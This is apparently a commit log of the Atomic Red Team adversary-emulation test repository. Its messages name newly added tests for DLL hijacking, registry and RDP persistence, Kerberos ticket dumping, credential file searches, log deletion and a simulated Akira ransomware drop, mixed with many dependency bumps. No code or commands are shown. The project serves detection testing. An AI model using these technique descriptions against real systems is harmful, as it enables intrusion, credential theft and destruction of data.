Marco Pedrinazzi 06f28fd039 Creation of T1614.yaml and T1016.001.yaml (#2901)
* Create T1614.yaml

* Create T1016.001

* Update T1016.001

* correct Technique # in YAML file

* remove duplicate tests

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-12 19:53:57 -05:00
abhijose09 32da9c87c1 Update T1546.yaml - New Test - Persistence using STARTUP-PATH in MS-WORD (#2899)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-12 19:33:48 -05:00
abhijose09 39ba130848 Update T1574.001.yaml (#2898)
Phantom Dll Hijacking - ualapi.dll

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-12 19:17:01 -05:00
Atomic Red Team doc generator fc96766873 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-06 08:13:06 +00:00
dependabot[bot] 7e7eb7db06 Bump hypothesis from 6.108.5 to 6.108.8 (#2900)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.108.5 to 6.108.8.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.108.5...hypothesis-python-6.108.8)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-08-06 04:11:59 -04:00
AlbertoPellitteri e42ce19a1c Fix T1543.002.yaml (#2893)
* Adding elevation required to test 1

* Adding elevation required to test 2 as well

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-08-06 04:10:56 -04:00
Atomic Red Team doc generator c4f6c86954 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-06 08:06:00 +00:00
AlbertoPellitteri 5f5ed55d02 Fix T1003.008.yaml (#2891)
* Replacing wrong reference to input variable

* Undoing the change on md file

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-08-06 04:04:47 -04:00
Atomic Red Team doc generator 7a17b396d2 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-06 08:03:09 +00:00
NeuralGlitch 932fd8321e Update T1059.004.yaml (#2894)
* Update T1059.004.yaml

Added a new atomic test
name: emacs spawning an interactive system shell

* Update T1059.004.yaml

Added new test supports bothe Linuc n Mac

added brew install prereq as well to support mac

Test name: emacs spawning an interactive system shell
2024-08-06 04:01:57 -04:00
Atomic Red Team doc generator 30a2f6f601 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:37:27 +00:00
sree siva likhitha kothalanka de8cc181a6 Update T1082.yaml (#2895)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:36:16 -05:00
dependabot[bot] a8cdef7e1b Bump hypothesis from 6.108.2 to 6.108.5 (#2889)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.108.2 to 6.108.5.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.108.2...hypothesis-python-6.108.5)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:33:58 -05:00
Atomic Red Team doc generator 1157183f0a Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:32:44 +00:00
Mohana Shankar D f85294b90d Update T1564.003.yaml (#2884)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:31:32 -05:00
Atomic Red Team doc generator 4a087e79e5 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:30:28 +00:00
abhijose09 a1d2de5f9c Update T1546.yaml (#2883)
New Test Added : Load custom DLL on mstsc execution

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:29:01 -05:00
Atomic Red Team doc generator e580d4420f Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:27:36 +00:00
abhijose09 5182c34b07 New Test : Leverage Virtual Channels to execute custom DLL during successful RDP session (#2882)
* Update T1547.yaml

New Test Added : Leverage Virtual Channels to execute custom DLL during successful RDP session

* Update T1547.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:26:27 -05:00
Atomic Red Team doc generator 16bb157750 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:25:14 +00:00
amitrrajeshwarkar fba22ab5e3 Update T1574.002.yaml (#2881)
Various threat actors and malware have been found side loading a masqueraded "KeyScramblerIE.dll" through "KeyScrambler.exe", which can load further executables embedded in modified KeyScramblerIE.dll file.

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:24:08 -05:00
Atomic Red Team doc generator e6469976ec Generated docs from job=generate-docs branch=master [ci skip] 2024-08-03 01:17:47 +00:00
abhijose09 d27673ede6 Update T1546.yaml (#2880)
* Update T1546.yaml

New Test Added : Persistence using automatic execution of custom DLL during RDP session

* Update T1546.yaml

* Update T1546.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-08-02 20:16:39 -05:00
Atomic Red Team doc generator aa9410b161 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-02 21:45:08 +00:00
AlbertoPellitteri 8e18cafebb Fix 1046.yaml (#2892)
* Adding the --rm option in the docker run command

* Fix the docker exec command

* Added the dockerfile path as input arg

* Fixing the reference to the dockerfile filepath

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-08-02 14:43:58 -07:00
Atomic Red Team doc generator 47a7a1525f Generated docs from job=generate-docs branch=master [ci skip] 2024-08-02 21:39:16 +00:00
AlbertoPellitteri 366ff6f084 Fix T1613.yaml (#2886)
* Fixing several issues on T1613 test

* Undoing the md file fix

* Undoing the md file fix and fixing also test 2

---------

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-08-02 14:38:09 -07:00
Atomic Red Team doc generator d143f79024 Generated docs from job=generate-docs branch=master [ci skip] 2024-08-01 23:51:58 +00:00
AlbertoPellitteri 4a11a17dba Fix T1612.yaml (#2887)
* Adding the docker rm option

* Undoing the md file fix

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
2024-08-01 16:50:50 -07:00
Atomic Red Team doc generator 67520627ff Generated docs from job=generate-docs branch=master [ci skip] 2024-08-01 23:47:03 +00:00
AlbertoPellitteri 95ef62dd1e Update T1562.008.yaml (#2888)
* Added the AWS platform to test 5

* Undoing the md file fix
2024-08-01 16:45:54 -07:00
dependabot[bot] 422d661a56 Bump pytest from 8.3.1 to 8.3.2 (#2890)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.3.1 to 8.3.2.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.3.1...8.3.2)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-31 23:58:53 -04:00
Atomic Red Team doc generator 88851e2bea Generated docs from job=generate-docs branch=master [ci skip] 2024-08-01 03:53:03 +00:00
nish221b-bs c8926e03c0 Update T1059.004.yaml (#2871)
* Update T1059.004.yaml

* Update T1059.004.yaml

* Update T1059.004.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-31 23:51:49 -04:00
Atomic Red Team doc generator bee5a4c48f Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 14:41:19 +00:00
abhijose09 af560d5067 Update T1546.008.yaml (#2878)
New Test Added : Auto-start application on user logon

Existing Test Atbroker.exe (AT) Executes Arbitrary Command via Registry Key added modified for addition of elevated privileges to carry out the required testing

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-24 09:40:14 -05:00
Atomic Red Team doc generator f368a70546 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 14:38:05 +00:00
abhijose09 13f7dde9a3 Update T1574.001.yaml (#2877)
New test Added : Phantom Dll Hijacking - WinAppXRT.dll

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-24 09:36:55 -05:00
Atomic Red Team doc generator 83c5d69c55 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 14:35:18 +00:00
NeuralGlitch 1c0f195934 Update T1547.yaml (#2875)
adding new atomic realted to pnputil to cover different set of command line arguments for pnputil. pnputil can be abused to install drivers in windows 

Test Name: Driver Installation Using pnputil.exe

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-24 09:34:09 -05:00
Atomic Red Team doc generator 9418990356 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 14:32:32 +00:00
sree siva likhitha kothalanka ba841eba7a Update T1217.yaml (#2876)
* Update T1217.yaml

This test will extract Microsoft Edge browser's history of current user

* Update T1217.yaml

* Update T1217.yaml

* remove duplicate test

* Update T1217.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-24 09:31:17 -05:00
Atomic Red Team doc generator 33939648b7 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:37:54 +00:00
Prakash22-k 5fc2f6dd5f Update T1218.yaml (#2855)
* Update T1218.yaml

* Update T1218.yaml

* Update T1218.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:36:46 -05:00
Atomic Red Team doc generator b0f5fc12dd Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:31:35 +00:00
dependabot[bot] c62a30637d Bump pytest from 8.2.2 to 8.3.1 (#2873)
Bumps [pytest](https://github.com/pytest-dev/pytest) from 8.2.2 to 8.3.1.
- [Release notes](https://github.com/pytest-dev/pytest/releases)
- [Changelog](https://github.com/pytest-dev/pytest/blob/main/CHANGELOG.rst)
- [Commits](https://github.com/pytest-dev/pytest/compare/8.2.2...8.3.1)

---
updated-dependencies:
- dependency-name: pytest
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:30:29 -05:00
abhijose09 19fbe0f994 Update T1112.yaml (#2870)
Added New Test : Adding custom paths for application execution

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:29:27 -05:00
Atomic Red Team doc generator 444f81d64f Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:28:03 +00:00
Pavan R Patil 7c1d934430 Update T1569.002.yaml (#2869)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:26:56 -05:00
Atomic Red Team doc generator f1fd271ee0 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:24:52 +00:00
Badoodish a8585e0e50 Update T1078.003.yaml (#2867)
Added new test "Use PsExec to elevate to NT Authority\SYSTEM account"

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:23:48 -05:00
Atomic Red Team doc generator e1feb2c7a5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:21:57 +00:00
abhijose09 bd13bcbaec Update T1546.yaml (#2865)
New Test : Adding custom debugger for Windows Error Reporting

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:20:48 -05:00
Atomic Red Team doc generator 2d3c1652a4 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-24 02:17:35 +00:00
abhijose09 3bc01cabb5 3 new tests added (#2863)
3 new Tests added :
Abusing MyComputer Disk Backup Path for Persistence
Abusing MyComputer Disk Cleanup Path for Persistence
Abusing MyComputer Disk Fragmentation Path for Persistence

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 21:16:20 -05:00
Atomic Red Team doc generator 162921f9e7 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-23 22:08:10 +00:00
abhijose09 d4aa5c432e New Test - Modify RDP-Tcp Initial Program Registry Entry (#2861)
* Update T1112.yaml

Modify RDP-Tcp Initial Program Registry Entry

* Update T1112.yaml

added cleanup commands

* Update T1112.yaml

* Update T1112.yaml

* Update T1112.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 17:06:54 -05:00
Atomic Red Team doc generator 229af9deb5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-23 21:39:39 +00:00
Badoodish 0a8ad64ee8 Added new test to T1614.001 "Discover System Language by Windows API … (#2857)
* Added new test to T1614.001 "Discover System Language by Windows API Query"

* Fixed indentation on line 139. Added input arguments

* Fixed indentation on line 126

* Added markdown formatting.

* Added C# source code as requested

* Removed input arguments because not arguments are supported.

* Updated exe output

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-23 16:38:25 -05:00
Atomic Red Team doc generator 2a37d1cae8 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-19 04:22:39 +00:00
Alphonsa George 9e39c9d5b3 T1048.002 (#2851)
* Added input argument #{host} to T1059.004 test name - Create and Execute Bash Shell Script

* Added Input argument to T1048.002 2 tests

* modified input args

---------

Co-authored-by: alphonsa-01 <NA>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-19 00:21:31 -04:00
Atomic Red Team doc generator 7512f4a78b Generated docs from job=generate-docs branch=master [ci skip] 2024-07-17 02:56:47 +00:00
abhijose09 ef6b0358f9 Update T1112.yaml (#2862)
New Test : Abusing Windows TelemetryController Registry Key for Persistence

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 21:55:36 -05:00
Atomic Red Team doc generator 9915e4a4a6 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-17 02:53:43 +00:00
abhijose09 b0c87f11fc Update T1556.002.yaml (#2860)
New Test Install Additional Authentication Packages

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 21:52:30 -05:00
Atomic Red Team doc generator 12c1fabcf5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-16 22:37:48 +00:00
abhijose09 6b16e95579 Update T1547.001.yaml (#2856)
* Update T1547.001.yaml

Allowing custom application to execute during new RDP logon session

* Update T1547.001.yaml

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 17:36:37 -05:00
Atomic Red Team doc generator 6b5334bfe5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-16 18:21:49 +00:00
Hare Sudhan 3183811486 Fix ESXi tests (#2853)
* fix esxi tests

* fix macos tests

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 13:20:36 -05:00
Atomic Red Team doc generator c126089a0d Generated docs from job=generate-docs branch=master [ci skip] 2024-07-16 18:15:15 +00:00
abhijose09 1b800b29ca Update T1547.001.yaml (#2854)
* Update T1547.001.yaml

Creating Boot Verification Program Key for application execution during successful boot

* Update T1547.001.yaml

updated few changes

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 13:14:02 -05:00
Atomic Red Team doc generator ff1bf9b32f Generated docs from job=generate-docs branch=master [ci skip] 2024-07-16 18:08:01 +00:00
Hare Sudhan 81b987e1a6 fix atomics (#2852)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-16 13:06:56 -05:00
dependabot[bot] f1dfe9b8ef Bump jsonschema from 4.22.0 to 4.23.0 (#2858) 2024-07-16 02:10:18 -05:00
dependabot[bot] a16d34fa30 Bump hypothesis from 6.105.1 to 6.108.2 (#2859) 2024-07-16 02:05:53 -05:00
Atomic Red Team doc generator 3c045e1822 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-14 09:30:23 +00:00
nish221b-bs 6b724e37d0 Update T1059.004.yaml (#2840) 2024-07-14 04:29:08 -05:00
Atomic Red Team doc generator 3efa6f8917 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-13 00:11:15 +00:00
liorf c0ce2c7a82 Update T1070.002.yaml (#2847)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-12 20:10:01 -04:00
Atomic Red Team doc generator 19d0a3589c Generated docs from job=generate-docs branch=master [ci skip] 2024-07-13 00:08:06 +00:00
liorf b63ac9bbbd Fix System log file deletion via find utility scenario in T1070.002 (#2846)
* Fix System log file deletion via find utility scenario in T1070.002

* Update T1070.002.yaml

* Update T1070.002.md

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-12 20:06:44 -04:00
Atomic Red Team doc generator fd2d2a148d Generated docs from job=generate-docs branch=master [ci skip] 2024-07-12 14:59:56 +00:00
abhijose09 7c51b76bcd Update T1552.001.yaml (#2842)
* Update T1552.001.yaml

New Test Added : List Credential Files via PowerShell

* Update T1552.001.yaml

Added Test List Credential Files via PowerShell , List Credential Files via Command Prompt

* Updated command lines

Updated command lines
2024-07-12 09:58:48 -05:00
Atomic Red Team doc generator 9bf5eb6864 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-10 18:42:34 +00:00
Alphonsa George a5ae5e1771 Added input argument #{host} to T1059.004 test name - Create and Execute Bash Shell Script (#2849)
Co-authored-by: alphonsa-01 <NA>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-10 13:41:25 -05:00
Atomic Red Team doc generator 6a6f6e9ac5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-10 15:10:05 +00:00
piotranalyst be29bb4b14 Update T1048.md (#2806)
* Update T1048.md

This is a grammatically correct change.

* update yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-10 10:08:57 -05:00
Atomic Red Team doc generator f30eae885f Generated docs from job=generate-docs branch=master [ci skip] 2024-07-10 15:06:29 +00:00
Mohana Shankar D 39c0efe2d5 Update T1113.yaml (#2827)
Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" registry value. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Co-authored-by: Hare Sudhan <code@0x6c.dev>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-10 10:05:09 -05:00
Atomic Red Team doc generator 9e94647f6e Generated docs from job=generate-docs branch=master [ci skip] 2024-07-10 14:13:24 +00:00
abhijose09 df0e93d621 Update T1012.yaml (#2841)
Added new Test Reg query for AlwaysInstallElevated status

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-10 09:12:16 -05:00
Atomic Red Team doc generator 9cc823410d Generated docs from job=generate-docs branch=master [ci skip] 2024-07-10 13:55:40 +00:00
Hare Sudhan c8a70997da Adding more YAML validations (#2837)
* Update T1202.yaml

* fix all atomics

* changing to macos to fix pytest issue

* changing to macos to fix pytest issue

* adding gitignore
2024-07-10 08:54:26 -05:00
dependabot[bot] 74cf7fbbe3 Bump hypothesis from 6.104.2 to 6.105.1 (#2843)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.104.2 to 6.105.1.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.104.2...hypothesis-python-6.105.1)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-08 22:19:17 -04:00
dependabot[bot] 7f1923e8d8 Bump pydantic from 2.7.4 to 2.8.2 (#2844)
Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.7.4 to 2.8.2.
- [Release notes](https://github.com/pydantic/pydantic/releases)
- [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md)
- [Commits](https://github.com/pydantic/pydantic/compare/v2.7.4...v2.8.2)

---
updated-dependencies:
- dependency-name: pydantic
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-08 22:14:54 -04:00
dependabot[bot] b4051fc81a Bump certifi from 2024.2.2 to 2024.7.4 (#2836)
Bumps [certifi](https://github.com/certifi/python-certifi) from 2024.2.2 to 2024.7.4.
- [Commits](https://github.com/certifi/python-certifi/compare/2024.02.02...2024.07.04)

---
updated-dependencies:
- dependency-name: certifi
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-07-05 22:11:47 -04:00
Atomic Red Team doc generator 79b9d83734 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-05 17:33:31 +00:00
skandler 4d30f39d6e Update T1003.004.yaml (#2835)
* Update T1003.004.yaml

dumping kerberos tickets with dumper.ps1 powershell, by dumping the winlogon.exe

* Update T1003.004.yaml

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-05 12:32:19 -05:00
Atomic Red Team doc generator 054798feb3 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-05 16:47:58 +00:00
NeuralGlitch 600767fcca Update T1003.002.yaml (#2826)
new atomic test added

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-05 11:46:48 -05:00
Atomic Red Team doc generator f839852779 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-05 16:44:42 +00:00
Badoodish 7a4ddc4f7d Added new test to T1614.001.yaml (#2830)
Added following test: Discover System Language with dism.exe

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-05 11:43:28 -05:00
Hare Sudhan 0e34dd2450 [CI/CD] Update assign-labels.yml (#2832)
* Update assign-labels.yml

* fix ci/cd

* fix ci/cd

* fix ci/cd

* fix assign-labels

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-05 11:30:01 -05:00
Atomic Red Team doc generator 3d7cf65d31 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-05 04:42:43 +00:00
Kevin Stapleton 006e4c7057 T1037.005, T1543.001, T1543.004 Persist Tests Enhancements (#2755)
* add persistence tests

T1037.005, T1543.001, T1543.004

* remove manual guid

* minor fixes

---------

Co-authored-by: kevinmstapleton <kstapleton@octolabs.io>
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-05 00:41:34 -04:00
Atomic Red Team doc generator 2420e0c902 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-05 02:05:48 +00:00
Bearloggs a11c37b31f Update T1489 - Add Linux tests (#2800)
Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-04 22:04:35 -04:00
Atomic Red Team doc generator 32b70e5536 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-04 18:50:40 +00:00
Prakash22-k 2cd5641ed7 Update T1082.yaml (#2814)
* Update T1082.yaml

Details:
Adding new atomic Test for Mac OS under the MITRE Technique ID- T1082  - System Information Discovery

Name : sysctl to gather macOS hardware info

* remove empty keys

* remove empty keys

---------

Co-authored-by: Hare Sudhan <code@0x6c.dev>
2024-07-04 14:49:30 -04:00
Atomic Red Team doc generator 44de1a8e88 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-04 17:06:22 +00:00
skandler b1292579d2 Update T1552.yaml (#2829)
added an atomic which searches for password strings in powershell history file

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-04 12:05:04 -05:00
Atomic Red Team doc generator 3fd025b45c Generated docs from job=generate-docs branch=master [ci skip] 2024-07-04 17:03:39 +00:00
skandler e916ce5772 Update T1486.yaml (#2828)
Added an atomic for dropping 100 files with .akira ending and random content and dropping the akira ransomnote
2024-07-04 12:02:23 -05:00
Atomic Red Team doc generator 7103d7427f Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 22:32:13 +00:00
Phil Hagen fd399bb6ed fix nesting and remove empty entries (#2825)
* fix nesting and remove empty entries

* missed an indent correction

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-03 16:31:05 -06:00
Atomic Red Team doc generator 87b5a285ca Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 22:29:55 +00:00
Štěpán Bendl 4630d707be Remove dependencies from T1070.006's Modify file timestamps using reference file (#2824) 2024-07-03 16:28:42 -06:00
Atomic Red Team doc generator a96f4212a5 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 01:18:53 +00:00
Markus 158728fab4 T1048.003: Fix DNS exfiltration command escaping (#2823)
Co-authored-by: Markus Schader <markus.schader@worldline.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 20:17:44 -05:00
dependabot[bot] 2b0be4f52a Bump hypothesis from 6.103.2 to 6.104.2 (#2821)
Bumps [hypothesis](https://github.com/HypothesisWorks/hypothesis) from 6.103.2 to 6.104.2.
- [Release notes](https://github.com/HypothesisWorks/hypothesis/releases)
- [Commits](https://github.com/HypothesisWorks/hypothesis/compare/hypothesis-python-6.103.2...hypothesis-python-6.104.2)

---
updated-dependencies:
- dependency-name: hypothesis
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 20:13:46 -05:00
Atomic Red Team doc generator 4fa2ba6608 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 01:11:11 +00:00
Prakash22-k 137fb9f7e3 Update T1202.yaml (#2820)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 20:09:55 -05:00
Atomic Red Team doc generator 6e6af49776 Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 01:08:20 +00:00
soumyadeep09 9d56cff212 T1070.006 Event Log Manipulations- Time slipping via Powershell (#2819)
* Update T1070.006.yaml

* Update T1070.006.yaml

* Update T1070.006.yaml

* Update T1070.006.yaml

* add cleanup commands

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 20:07:14 -05:00
Atomic Red Team doc generator adb1f314bf Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 00:32:46 +00:00
Br3akp0int a3014001a9 ShrinkLocker PIN,TPM Bitlocker Registry Modification (#2817)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 19:31:31 -05:00
Atomic Red Team doc generator 75a7a106ce Generated docs from job=generate-docs branch=master [ci skip] 2024-07-03 00:26:33 +00:00
Prakash22-k 9d5c56fac7 Update T1218.011.yaml (#2813)
Details:
Adding new atomic Test for Windows - Rundll32 execute payload by calling RouteTheCall

Testing:
Performed the Testing Atomic Lab

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-07-02 19:25:10 -05:00
Atomic Red Team doc generator abb837bcfe Generated docs from job=generate-docs branch=master [ci skip] 2024-06-28 23:08:09 +00:00
Enes 647c26323f Create T1652 folder and yaml file (#2808)
* Create T1652

Adding a new folder so that I can add a YAML file for a new test.

* Delete atomics/T1652

Restarting

* Create T1652.yaml

Created a folder and new a new YAML file.

* Update T1652.yaml

Added more verbosity and details to t1652.

* Update T1082.yaml

Atomic Test #28 - Driver Enumeration using DriverQuery

---------

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-06-28 18:06:32 -05:00
Atomic Red Team doc generator 05d3123aa5 Generated docs from job=generate-docs branch=master [ci skip] 2024-06-18 18:41:54 +00:00
nish221b-bs b84afa7c76 Update T1112.yaml (#2809)
Added new Atomic "Flush ShimCache"

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-06-18 13:40:42 -05:00
Atomic Red Team doc generator f8df955af0 Generated docs from job=generate-docs branch=master [ci skip] 2024-06-18 18:10:56 +00:00
abhijose09 f205476bf7 Update T1046.yaml (#2802)
added new test

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2024-06-18 13:09:50 -05:00
dependabot[bot] 9a0906d652 Bump urllib3 from 2.2.1 to 2.2.2 (#2812)
Bumps [urllib3](https://github.com/urllib3/urllib3) from 2.2.1 to 2.2.2.
- [Release notes](https://github.com/urllib3/urllib3/releases)
- [Changelog](https://github.com/urllib3/urllib3/blob/main/CHANGES.rst)
- [Commits](https://github.com/urllib3/urllib3/compare/2.2.1...2.2.2)

---
updated-dependencies:
- dependency-name: urllib3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-18 12:55:39 -05:00
dependabot[bot] ada569811f Bump pydantic from 2.7.1 to 2.7.4 (#2810)
Bumps [pydantic](https://github.com/pydantic/pydantic) from 2.7.1 to 2.7.4.
- [Release notes](https://github.com/pydantic/pydantic/releases)
- [Changelog](https://github.com/pydantic/pydantic/blob/main/HISTORY.md)
- [Commits](https://github.com/pydantic/pydantic/compare/v2.7.1...v2.7.4)

---
updated-dependencies:
- dependency-name: pydantic
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-17 11:41:31 -04:00
